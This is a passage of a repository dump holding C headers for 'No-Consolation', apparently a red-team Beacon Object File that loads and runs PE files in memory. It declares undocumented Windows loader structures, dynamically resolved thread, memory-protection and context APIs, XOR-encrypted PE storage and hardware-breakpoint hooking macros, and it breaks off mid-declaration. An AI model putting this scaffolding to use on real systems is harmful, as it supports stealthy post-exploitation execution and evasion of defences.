  LdrModulesWaitingForDependencies = 3,\n    LdrModulesSnapping = 4,\n    LdrModulesSnapped = 5,\n    LdrModulesCondensed = 6,\n    LdrModulesReadyToInit = 7,\n    LdrModulesInitializing = 8,\n    LdrModulesReadyToRun = 9\n} LDR_DDAG_STATE;\n\ntypedef struct _LDRP_CSLIST\n{\n    PSINGLE_LIST_ENTRY Tail;\n} LDRP_CSLIST, *PLDRP_CSLIST;\n\ntypedef struct _LDR_SERVICE_TAG_RECORD\n{\n    struct _LDR_SERVICE_TAG_RECORD *Next;\n    ULONG ServiceTag;\n} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD;\n\ntypedef struct _LDR_DDAG_NODE\n{\n    LIST_ENTRY Modules;\n    PLDR_SERVICE_TAG_RECORD ServiceTagList;\n    ULONG LoadCount;\n    ULONG LoadWhileUnloadingCount;\n    ULONG LowestLink;\n    union\n    {\n        LDRP_CSLIST Dependencies;\n        SINGLE_LIST_ENTRY RemovalLink;\n    };\n    LDRP_CSLIST IncomingDependencies;\n    LDR_DDAG_STATE State;\n    SINGLE_LIST_ENTRY CondenseLink;\n    ULONG PreorderNumber;\n} LDR_DDAG_NODE, *PLDR_DDAG_NODE;\n\ntypedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)(\n    _In_ PVOID DllHandle,\n    _In_ ULONG Reason,\n    _In_opt_ PVOID Context\n);\n\ntypedef enum _LDR_HOT_PATCH_STATE\n{\n    LdrHotPatchBaseImage = 0,\n    LdrHotPatchNotApplied = 1,\n    LdrHotPatchAppliedReverse = 2,\n    LdrHotPatchAppliedForward = 3,\n    LdrHotPatchFailedToPatch = 4,\n    LdrHotPatchStateMax = 5\n} LDR_HOT_PATCH_STATE;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY2\n{\n    LIST_ENTRY InLoadOrderLinks;\n    LIST_ENTRY InMemoryOrderLinks;\n    union\n    {\n        LIST_ENTRY InInitializationOrderLinks;\n        LIST_ENTRY InProgressLinks;\n    };\n    PVOID DllBase;\n    PLDR_INIT_ROUTINE EntryPoint;\n    ULONG SizeOfImage;\n    UNICODE_STRING FullDllName;\n    UNICODE_STRING BaseDllName;\n    union\n    {\n        UCHAR FlagGroup[4];\n        ULONG Flags;\n        struct\n        {\n            ULONG PackagedBinary : 1;\n            ULONG MarkedForRemoval : 1;\n            ULONG ImageDll : 1;\n            ULONG LoadNotificationsSent : 1;\n            ULONG TelemetryEntryProcessed : 1;\n            ULONG ProcessStaticImport : 1;\n            ULONG InLegacyLists : 1;\n            ULONG InIndexes : 1;\n            ULONG ShimDll : 1;\n            ULONG InExceptionTable : 1;\n            ULONG ReservedFlags1 : 2;\n            ULONG LoadInProgress : 1;\n            ULONG LoadConfigProcessed : 1;\n            ULONG EntryProcessed : 1;\n            ULONG ProtectDelayLoad : 1;\n            ULONG ReservedFlags3 : 2;\n            ULONG DontCallForThreads : 1;\n            ULONG ProcessAttachCalled : 1;\n            ULONG ProcessAttachFailed : 1;\n            ULONG CorDeferredValidate : 1;\n            ULONG CorImage : 1;\n            ULONG DontRelocate : 1;\n            ULONG CorILOnly : 1;\n            ULONG ChpeImage : 1;\n            ULONG ReservedFlags5 : 2;\n            ULONG Redirected : 1;\n            ULONG ReservedFlags6 : 2;\n            ULONG CompatDatabaseProcessed : 1;\n        };\n    };\n    USHORT ObsoleteLoadCount;\n    USHORT TlsIndex;\n    LIST_ENTRY HashLinks;\n    ULONG TimeDateStamp;\n    struct _ACTIVATION_CONTEXT *EntryPointActivationContext;\n    PVOID Lock; // RtlAcquireSRWLockExclusive\n    PLDR_DDAG_NODE DdagNode;\n    LIST_ENTRY NodeModuleLink;\n    struct _LDRP_LOAD_CONTEXT *LoadContext;\n    PVOID ParentDllBase;\n    PVOID SwitchBackContext;\n    RTL_BALANCED_NODE BaseAddressIndexNode;\n    RTL_BALANCED_NODE MappingInfoIndexNode;\n    ULONG_PTR OriginalBase;\n    LARGE_INTEGER LoadTime;\n    ULONG BaseNameHashValue;\n    LDR_DLL_LOAD_REASON LoadReason;\n    ULONG ImplicitPathOptions;\n    ULONG ReferenceCount;\n    ULONG DependentLoadFlags;\n    UCHAR SigningLevel; // since REDSTONE2\n    ULONG CheckSum;\n    VOID* ActivePatchImageBase;\n    enum _LDR_HOT_PATCH_STATE HotPatchState;\n} LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2;\n\ntypedef struct _PEB2\n{\n    BOOLEAN InheritedAddressSpace;\n    BOOLEAN ReadImageFileExecOptions;\n    BOOLEAN BeingDebugged;\n    union\n    {\n        BOOLEAN BitField;\n        struct\n        {\n            BOOLEAN ImageUsesLargePages : 1;\n            BOOLEAN IsProtectedProcess : 1;\n            BOOLEAN IsImageDynamicallyRelocated : 1;\n            BOOLEAN SkipPatchingUser32Forwarders : 1;\n            BOOLEAN IsPackagedProcess : 1;\n            BOOLEAN IsAppContainer : 1;\n            BOOLEAN IsProtectedProcessLight : 1;\n            BOOLEAN IsLongPathAwareProcess : 1;\n        };\n    };\n\n    HANDLE Mutant;\n\n    PVOID ImageBaseAddress;\n    PPEB_LDR_DATA2 Ldr;\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n    PVOID SubSystemData;\n    PVOID ProcessHeap;\n    PRTL_CRITICAL_SECTION FastPebLock;\n    PSLIST_HEADER AtlThunkSListPtr;\n    PVOID IFEOKey;\n\n    union\n    {\n        ULONG CrossProcessFlags;\n        struct\n        {\n            ULONG ProcessInJob : 1;\n            ULONG ProcessInitializing : 1;\n            ULONG ProcessUsingVEH : 1;\n            ULONG ProcessUsingVCH : 1;\n            ULONG ProcessUsingFTH : 1;\n            ULONG ProcessPreviouslyThrottled : 1;\n            ULONG ProcessCurrentlyThrottled : 1;\n            ULONG ProcessImagesHotPatched : 1; // REDSTONE5\n            ULONG ReservedBits0 : 24;\n        };\n    };\n    union\n    {\n        PVOID KernelCallbackTable;\n        PVOID UserSharedInfoPtr;\n    };\n    ULONG SystemReserved;\n    ULONG AtlThunkSListPtr32;\n    PAPI_SET_NAMESPACE ApiSetMap;\n    ULONG TlsExpansionCounter;\n    PVOID TlsBitmap;\n    ULONG TlsBitmapBits[2];\n\n    PVOID ReadOnlySharedMemoryBase;\n    PVOID SharedData; // HotpatchInformation\n    PVOID *ReadOnlyStaticServerData;\n\n    PVOID AnsiCodePageData; // PCPTABLEINFO\n    PVOID OemCodePageData; // PCPTABLEINFO\n    PVOID UnicodeCaseTableData; // PNLSTABLEINFO\n\n    ULONG NumberOfProcessors;\n    ULONG NtGlobalFlag;\n\n    ULARGE_INTEGER CriticalSectionTimeout;\n    SIZE_T HeapSegmentReserve;\n    SIZE_T HeapSegmentCommit;\n    SIZE_T HeapDeCommitTotalFreeThreshold;\n    SIZE_T HeapDeCommitFreeBlockThreshold;\n\n    ULONG NumberOfHeaps;\n    ULONG MaximumNumberOfHeaps;\n    PVOID *ProcessHeaps; // PHEAP\n\n    PVOID GdiSharedHandleTable;\n    PVOID ProcessStarterHelper;\n    ULONG GdiDCAttributeList;\n\n    PRTL_CRITICAL_SECTION LoaderLock;\n\n    ULONG OSMajorVersion;\n    ULONG OSMinorVersion;\n    USHORT OSBuildNumber;\n    USHORT OSCSDVersion;\n    ULONG OSPlatformId;\n    ULONG ImageSubsystem;\n    ULONG ImageSubsystemMajorVersion;\n    ULONG ImageSubsystemMinorVersion;\n    ULONG_PTR ActiveProcessAffinityMask;\n    GDI_HANDLE_BUFFER GdiHandleBuffer;\n    PVOID PostProcessInitRoutine;\n\n    PVOID TlsExpansionBitmap;\n    ULONG TlsExpansionBitmapBits[32];\n\n    ULONG SessionId;\n\n    ULARGE_INTEGER AppCompatFlags;\n    ULARGE_INTEGER AppCompatFlagsUser;\n    PVOID pShimData;\n    PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA\n\n    UNICODE_STRING CSDVersion;\n\n    PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA\n    PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP\n    PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA\n    PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP\n\n    SIZE_T MinimumStackCommit;\n\n    PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex)\n    ULONG SpareUlongs[5]; // 19H1\n    //PVOID* FlsCallback;\n    //LIST_ENTRY FlsListHead;\n    //PVOID FlsBitmap;\n    //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];\n    //ULONG FlsHighIndex;\n\n    PVOID WerRegistrationData;\n    PVOID WerShipAssertPtr;\n    PVOID pUnused; // pContextData\n    PVOID pImageHeaderHash;\n    union\n    {\n        ULONG TracingFlags;\n        struct\n        {\n            ULONG HeapTracingEnabled : 1;\n            ULONG CritSecTracingEnabled : 1;\n            ULONG LibLoaderTracingEnabled : 1;\n            ULONG SpareTracingBits : 29;\n        };\n    };\n    ULONGLONG CsrServerReadOnlySharedMemoryBase;\n    PRTL_CRITICAL_SECTION TppWorkerpListLock;\n    LIST_ENTRY TppWorkerpList;\n    PVOID WaitOnAddressHashTable[128];\n    PVOID TelemetryCoverageHeader; // REDSTONE3\n    ULONG CloudFileFlags;\n    ULONG CloudFileDiagFlags; // REDSTONE4\n    CHAR PlaceholderCompatibilityMode;\n    CHAR PlaceholderCompatibilityModeReserved[7];\n    struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5\n    union\n    {\n        ULONG LeapSecondFlags;\n        struct\n        {\n            ULONG SixtySecondEnabled : 1;\n            ULONG Reserved : 31;\n        };\n    };\n    ULONG NtGlobalFlag2;\n} PEB2, *PPEB2;\n\ntypedef struct _NT_TIB2\n{\n    struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList;                   //0x0\n    VOID* StackBase;                                                        //0x8\n    VOID* StackLimit;                                                       //0x10\n    VOID* SubSystemTib;                                                     //0x18\n    union\n    {\n        VOID* FiberData;                                                    //0x20\n        ULONG Version;                                                      //0x20\n    };\n    VOID* ArbitraryUserPointer;                                             //0x28\n    struct _NT_TIB2* Self;                                                   //0x30\n} NT_TIB2,  *PNT_TIB2;\n\ntypedef struct _TEB2\n{\n    struct _NT_TIB2 NtTib;                                                   //0x0\n    VOID* EnvironmentPointer;                                               //0x38\n    struct _CLIENT_ID ClientId;                                             //0x40\n    VOID* ActiveRpcHandle;                                                  //0x50\n    VOID* ThreadLocalStoragePointer;                                        //0x58\n    struct _PEB* ProcessEnvironmentBlock;                                   //0x60\n    ULONG LastErrorValue;                                                   //0x68\n    ULONG CountOfOwnedCriticalSections;                                     //0x6c\n    VOID* CsrClientThread;                                                  //0x70\n    VOID* Win32ThreadInfo;                                                  //0x78\n    ULONG User32Reserved[26];                                               //0x80\n    ULONG UserReserved[5];                                                  //0xe8\n    VOID* WOW32Reserved;                                                    //0x100\n    ULONG CurrentLocale;                                                    //0x108\n    ULONG FpSoftwareStatusRegister;                                         //0x10c\n    VOID* ReservedForDebuggerInstrumentation[16];                           //0x110\n    VOID* SystemReserved1[30];                                              //0x190\n    CHAR PlaceholderCompatibilityMode;                                      //0x280\n    UCHAR PlaceholderHydrationAlwaysExplicit;                               //0x281\n    CHAR PlaceholderReserved[10];                                           //0x282\n    ULONG ProxiedProcessId;                                                 //0x28c\n    // ...\n} TEB2, *PTEB2;\n\ntypedef struct _INVERTED_FUNCTION_TABLE_ENTRY\n{\n    PVOID FunctionTable;\n    PVOID ImageBase;\n    ULONG SizeOfImage;\n    ULONG SizeOfTable;\n} INVERTED_FUNCTION_TABLE_ENTRY, *PINVERTED_FUNCTION_TABLE_ENTRY;\n\ntypedef struct _INVERTED_FUNCTION_TABLE_KERNEL_MODE\n{\n    ULONG CurrentSize;\n    ULONG MaximumSize;\n    volatile ULONG Epoch;\n    UCHAR Overflow;\n    struct _INVERTED_FUNCTION_TABLE_ENTRY TableEntry[256];\n} INVERTED_FUNCTION_TABLE_KERNEL_MODE, *PINVERTED_FUNCTION_TABLE_KERNEL_MODE;\n\ntypedef enum _MEMORY_INFORMATION_CLASS\n{\n\tMemoryBasicInformation,\n\tMemoryWorkingSetInformation,\n\tMemoryMappedFilenameInformation,\n\tMemoryRegionInformation,\n\tMemoryWorkingSetExInformation,\n\tMemorySharedCommitInformation,\n\tMemoryImageInformation,\n\tMemoryRegionInformationEx,\n\tMemoryPrivilegedBasicInformation,\n\tMemoryEnclaveImageInformation,\n\tMemoryBasicInformationCapped\n} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;\n\ntypedef enum _SECTION_INHERIT\n{\n\tViewShare = 1,\n\tViewUnmap = 2\n} SECTION_INHERIT, *PSECTION_INHERIT;\n\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID * BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtFlushInstructionCache(HANDLE ProcessHandle, PVOID BaseAddress, ULONG FlushSize);\nWINBASEAPI BOOLEAN NTSYSAPI NTDLL$RtlCreateUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtClose(HANDLE Handle);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtCreateThreadEx(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);\nWINBASEAPI SIZE_T NTSYSAPI  NTDLL$RtlCompareMemory(VOID *Source1, VOID *Source2, SIZE_T Length);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtGetContextThread(HANDLE, PCONTEXT);\nWINBASEAPI NTSTATUS NTAPI   NTDLL$NtSetContextThread(HANDLE, PCONTEXT);\n\nWINBASEAPI WCHAR* __cdecl MSVCRT$wcscpy(WCHAR *strDestination,const WCHAR *strSource);\nWINBASEAPI  int   __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);\nWINBASEAPI void   __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI PVOID  __cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI int    __cdecl MSVCRT$strncmp(const char *s1, const char *s2, size_t n);\nWINBASEAPI int    __cdecl MSVCRT$wcscmp(const wchar_t *string1, const wchar_t *string2);\n\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(VOID);\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI BOOL   WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI DWORD  WINAPI KERNEL32$GetLastError (VOID);\nWINBASEAPI BOOL   WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);\nWINBASEAPI BOOL   WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI LPWSTR WINAPI KERNEL32$GetCommandLineW(VOID);\nWINBASEAPI LPWSTR WINAPI KERNEL32$GetCommandLineA(VOID);\nWINBASEAPI BOOL   WINAPI KERNEL32$CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize);\nWINBASEAPI BOOL   WINAPI KERNEL32$QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount);\nWINBASEAPI BOOL   WINAPI KERNEL32$QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency);\nWINBASEAPI BOOL   WINAPI KERNEL32$TerminateThread(HANDLE hthread, DWORD dwExitCode);\nWINBASEAPI DWORD  WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI BOOL   WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);\nWINBASEAPI BOOL   WINAPI KERNEL32$FreeLibrary(HANDLE hLibModule);\n\n#define NtAllocateVirtualMemory      NTDLL$NtAllocateVirtualMemory\n#define NtProtectVirtualMemory       NTDLL$NtProtectVirtualMemory\n#define NtFreeVirtualMemory          NTDLL$NtFreeVirtualMemory\n#define NtFlushInstructionCache      NTDLL$NtFlushInstructionCache\n#define RtlCreateUnicodeString       NTDLL$RtlCreateUnicodeString\n#define NtClose                      NTDLL$NtClose\n#define RtlUnicodeStringToAnsiString NTDLL$RtlUnicodeStringToAnsiString\n#define NtQueryVirtualMemory         NTDLL$NtQueryVirtualMemory\n#define NtCreateThreadEx             NTDLL$NtCreateThreadEx\n#define RtlCompareMemory             NTDLL$RtlCompareMemory\n#define NtGetContextThread           NTDLL$NtGetContextThread\n#define NtSetContextThread           NTDLL$NtSetContextThread\n\n#define wcscpy                       MSVCRT$wcscpy\n#define _stricmp                     MSVCRT$_stricmp\n#define memset                       MSVCRT$memset\n#define memcpy                       MSVCRT$memcpy\n#define strncmp                      MSVCRT$strncmp\n#define wcscmp                       MSVCRT$wcscmp\n\n#define GetProcessHeap               KERNEL32$GetProcessHeap\n#define HeapAlloc                    KERNEL32$HeapAlloc\n#define HeapFree                     KERNEL32$HeapFree\n#define CreateFileA                  KERNEL32$CreateFileA\n#define GetLastError                 KERNEL32$GetLastError\n#define GetFileSizeEx                KERNEL32$GetFileSizeEx\n#define ReadFile                     KERNEL32$ReadFile\n#define GetCommandLineW              KERNEL32$GetCommandLineW\n#define GetCommandLineA              KERNEL32$GetCommandLineA\n#define CreatePipe                   KERNEL32$CreatePipe\n#define QueryPerformanceCounter      KERNEL32$QueryPerformanceCounter\n#define QueryPerformanceFrequency    KERNEL32$QueryPerformanceFrequency\n#define TerminateThread              KERNEL32$TerminateThread\n#define WaitForSingleObject          KERNEL32$WaitForSingleObject\n#define PeekNamedPipe                KERNEL32$PeekNamedPipe\n#define FreeLibrary                  KERNEL32$FreeLibrary\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/console.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#include \"entry.h\"\n#include \"bofdefs.h\"\n#include \"hwbp.h\"\n#include \"utils.h\"\n\n#define STATUS_SUCCESS        0x00000000\n//#define STATUS_INVALID_HANDLE 0xc0000008\n\n// Structures invovled in parsing PEB\n\n#define RTL_MAX_DRIVE_LETTERS 32\n\ntypedef UNICODE_STRING* PUNICODE_STRING;\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\n    USHORT                  Flags;\n    USHORT                  Length;\n    ULONG                   TimeStamp;\n    UNICODE_STRING          DosPath;\n} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;\n\n\ntypedef struct _CURDIR\n{\n    UNICODE_STRING DosPath;\n    HANDLE Handle;\n} CURDIR, * PCURDIR;\n\ntypedef struct _uRTL_USER_PROCESS_PARAMETERS\n{\n    ULONG MaximumLength;\n    ULONG Length;\n\n    ULONG Flags;\n    ULONG DebugFlags;\n\n    HANDLE ConsoleHandle;\n    ULONG ConsoleFlags;\n    HANDLE StandardInput;\n    HANDLE StandardOutput;\n    HANDLE StandardError;\n\n    CURDIR CurrentDirectory;\n    UNICODE_STRING DllPath;\n    UNICODE_STRING ImagePathName;\n    UNICODE_STRING CommandLine;\n    PVOID Environment;\n\n    ULONG StartingX;\n    ULONG StartingY;\n    ULONG CountX;\n    ULONG CountY;\n    ULONG CountCharsX;\n    ULONG CountCharsY;\n    ULONG FillAttribute;\n\n    ULONG WindowFlags;\n    ULONG ShowWindowFlags;\n    UNICODE_STRING WindowTitle;\n    UNICODE_STRING DesktopInfo;\n    UNICODE_STRING ShellInfo;\n    UNICODE_STRING RuntimeData;\n    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n    ULONG EnvironmentSize;\n    ULONG EnvironmentVersion;\n    PVOID PackageDependencyData; //8+\n    ULONG ProcessGroupId;\n    // ULONG LoaderThreads;\n} uRTL_USER_PROCESS_PARAMETERS, * uPRTL_USER_PROCESS_PARAMETERS;\n\n// fd flag\n#define _O_WRONLY 0x0001\n\n// internal structure used by NtDeviceIoControlFile\ntypedef struct _CONSOLE_CP_INPUT {\n    UINT32 Id1;\n    UINT32 Id2;\n} CONSOLE_CP_INPUT, * PCONSOLE_CP_INPUT;\n\n// internal structure used by NtDeviceIoControlFile\ntypedef struct _CONSOLE_CP {\n    PVOID InputValue;\n    UINT32 unknown2;\n    UINT32 unknown3;\n    UINT32 InputSize;\n    PCONSOLE_CP_INPUT InputType;\n    UINT32 OutputSize;\n    PVOID OutputPtr;\n} CONSOLE_CP, * PCONSOLE_CP;\n\n// internal structure used by AllocConsole/BasepCreateProcessParameters\ntypedef struct _CONSOLE_CONNECTION_STATE {\n/*0x00 0x01*/ BYTE   Flags;\n/*0x08 0x08*/ HANDLE ConsoleHandle;\n/*0x10 0x08*/ HANDLE ConsoleReference;\n/*0x18 0x08*/ HANDLE StandardInput;\n/*0x20 0x08*/ HANDLE StandardOutput;\n/*0x28 0x08*/ HANDLE StandardError;\n/*0x30 0x01*/ BYTE   IsConnected;\n} CONSOLE_CONNECTION_STATE, * PCONSOLE_CONNECTION_STATE;\n\n// internal structure used by ucrtbase.dll\ntypedef struct _UCRTBASE_FILE {\n/*0x00 0x08*/ PVOID  _ptr;\n/*0x08 0x08*/ PVOID  _base;\n/*0x10 0x04*/ UINT32 _cnt;\n/*0x14 0x04*/ UINT32 _flags;\n/*0x18 0x04*/ UINT32 _file;\n/*0x1c 0x04*/ UINT32 _bufsiz;\n/*0x20 0x08*/ PVOID  _charbuf;\n/*0x28 0x08*/ LPSTR  _tmpfname;\n/*0x30 0x28*/ CRITICAL_SECTION _lock;\n} UCRTBASE_FILE, * PUCRTBASE_FILE;\n\nBOOL redirect_std_out_err(\n    IN PLOADED_PE_INFO peinfo);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/entry.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#define NC_HANDLE_INFO_KEY \"NoConsolationHandleKey\"\n#define NC_SAVED_PE_KEY    \"NoConsolationSavedPeKey\"\n#define NC_PE_INFO_KEY     \"NoConsolationPeInfoKey\"\n#define NC_LOADED_DLL_KEY  \"NoConsolationLoadedDllKey\"\n#define NC_MEM_STRUCTS_KEY \"NoConsolationMemStructsKey\"\n#define NC_EXEC_CTX        \"NoConsolationExecCtxKey\"\n\n#define MIN_XOR_KEY_LENGTH 16\n\ntypedef struct _MEMORY_STRUCTS {\n    PVOID module_base_address_index;\n    PVOID hash_table;\n    PVOID ldrp_handle_tls_data;\n    PVOID ldrp_release_tls_entry;\n    PVOID console_connection_state;\n} MEMORY_STRUCTS, * PMEMORY_STRUCTS;\n\ntypedef struct _SAVED_PE {\n    CHAR    pe_name[MAX_PATH];\n    PBYTE   pe_base;\n    SIZE_T  pe_size;\n    PBYTE   xor_key;\n    ULONG32 xor_length;\n    BOOL    encrypted;\n    CHAR    loadtime[MAX_PATH];\n    struct _SAVED_PE* next;\n} SAVED_PE, * PSAVED_PE;\n\ntypedef struct _HANDLE_INFO {\n    HANDLE hWrite;\n    HANDLE hRead;\n    int fo_msvc;\n    int fo_ucrtbase;\n} HANDLE_INFO, * PHANDLE_INFO;\n\ntypedef struct _LOADED_PE_INFO {\n    CHAR         pe_name[MAX_PATH];\n    WCHAR        pe_wname[MAX_PATH];\n    WCHAR        pe_wpath[MAX_PATH];\n    PVOID        pe_base;\n    SIZE_T       pe_size;\n    BOOL         loaded;\n    LPWSTR       cmdwline;\n    LPCSTR       cmdline;\n    UINT32       timeout;\n    BOOL         headers;\n    LPSTR        method;\n    BOOL         use_unicode;\n    BOOL         nooutput;\n    BOOL         alloc_console;\n    BOOL         load_all_deps;\n    LPSTR        load_all_deps_but;\n    LPSTR        load_deps;\n    LPSTR        search_paths;\n    BOOL         custom_loaded;\n    BOOL         load_in_progress;\n    BOOL         handled_tls;\n    //PLIB_LOADED  libs_loaded;\n    PVOID        EntryPoint;\n    PVOID        DllMain;\n    PVOID        DllParam;\n    BOOL         is_dll;\n    BOOL         is_dependency;\n    BOOL         loaded_msvcrt;\n    BOOL         loaded_mscoree;\n    BOOL         loaded_ucrtbase;\n    HANDLE       hSection;\n    HANDLE       hThread;\n    PHANDLE_INFO Handles;\n    HANDLE       hHwBp1;\n    HANDLE       hHwBp2;\n    BOOL         modified_msvc_stdout;\n    BOOL         modified_msvc_stderr;\n    BOOL         modified_ucrtbase_stdout;\n    BOOL         modified_ucrtbase_stderr;\n    BOOL         modified_user_params_stdout;\n    BOOL         modified_user_params_stderr;\n    BOOL         modified_console_reference;\n    BOOL         modified_console_handle;\n    HANDLE       original_user_params_stdout;\n    HANDLE       original_user_params_stderr;\n    HANDLE       original_console_reference;\n    PVOID        console_reference_addr;\n    PVOID        msvc_stdout;\n    PVOID        msvc_stderr;\n    PVOID        original_msvc_stdout;\n    PVOID        original_msvc_stderr;\n    PVOID        ucrtbase_stdout;\n    PVOID        ucrtbase_stderr;\n    PVOID        original_ucrtbase_stdout;\n    PVOID        original_ucrtbase_stderr;\n    HANDLE       original_console_handle;\n    PVOID        func_table;\n    BOOL         link_to_peb;\n    BOOL         linked;\n    PVOID        ldr_entry;\n    BOOL         dont_unload;\n    BOOL         inthread;\n} LOADED_PE_INFO, * PLOADED_PE_INFO;\n\ntypedef struct _LIBS_LOADED {\n    LIST_ENTRY list;\n} LIBS_LOADED, * PLIBS_LOADED;\n\ntypedef struct _LIB_LOADED {\n    LIST_ENTRY list;\n    CHAR  name[MAX_PATH];\n    PVOID address;\n    PLOADED_PE_INFO peinfo;\n} LIB_LOADED, * PLIB_LOADED;\n\ntypedef struct _EXEC_CTX {\n    PVOID Rsp;\n    PVOID Rbp;\n    PVOID Rip;\n    DWORD Tid;\n} EXEC_CTX, * PEXEC_CTX;\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/hwbp.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#define STATUS_UNSUCCESSFUL 0xC0000001\n\n// debug register go from 0 to 3\n#define NT_DEVICE_IO_CONTROL_FILE_INDEX 0\n#define CREATE_FILE_INDEX               1\n\n// hwbp related macros, simplify x64/x86 support\n\ntypedef LONG (CALLBACK* exception_callback)(PEXCEPTION_POINTERS);\n\n#ifdef _WIN64\n#define EXCEPTION_CODE(e) (e->ExceptionRecord->ExceptionCode)\n#define EXCEPTION_CURRENT_IP(e) ((PVOID)e->ContextRecord->Rip)\n#define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Rip = p\n#define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Rax = r\n#define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 )\n#define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Rsp )\n#define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i\n#define EXCEPTION_ARG_1( e ) ( e->ContextRecord->Rcx )\n#define EXCEPTION_ARG_2( e ) ( e->ContextRecord->Rdx )\n#else\n#define EXCEPTION_CODE( e ) (e->ExceptionRecord->ExceptionCode)\n#define EXCEPTION_CURRENT_IP( e ) ((PVOID)e->ContextRecord->Eip)\n#define EXCEPTION_SET_IP( e, p ) e->ContextRecord->Eip = p\n#define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Eax = r\n#define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 )\n#define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Esp )\n#define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Esp += i\n#define EXCEPTION_ARG_1( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID))\n#define EXCEPTION_ARG_2( e ) *(PVOID*)(e->ContextRecord->Esp + sizeof(PVOID)*2)\n#endif\n\nULONG_PTR set_bits(\n    ULONG_PTR dw,\n    int lowBit,\n    int bits,\n    ULONG_PTR newValue);\n\nVOID clear_breakpoint(\n    IN CONTEXT* ctx,\n    IN DWORD index);\n\nBOOL 